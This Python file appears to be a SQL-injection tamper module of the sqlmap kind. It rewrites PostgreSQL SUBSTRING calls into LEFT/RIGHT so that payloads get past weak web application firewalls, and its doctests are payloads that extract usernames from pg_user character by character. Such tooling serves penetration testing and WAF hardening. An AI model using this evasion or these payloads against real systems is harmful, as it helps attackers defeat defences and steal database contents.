import re


def tamper(payload, **kwargs):
    """
    Replaces PostgreSQL SUBSTRING with LEFT and RIGHT

    Tested against:
        * PostgreSQL 9.6.12

    Note:
        * Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT)

    >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)')
    'LEFT((SELECT usename FROM pg_user)::text,1)'
    >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)')
    'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)'
    """

    retVal = payload

    if payload:
        match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload)

        if match:
            pos = int(match.group(2))
            if pos == 1:
                _ = "LEFT(%s,1)" % (match.group(1))
            else:
                _ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos)

            retVal = retVal.replace(match.group(0), _)

    return retVal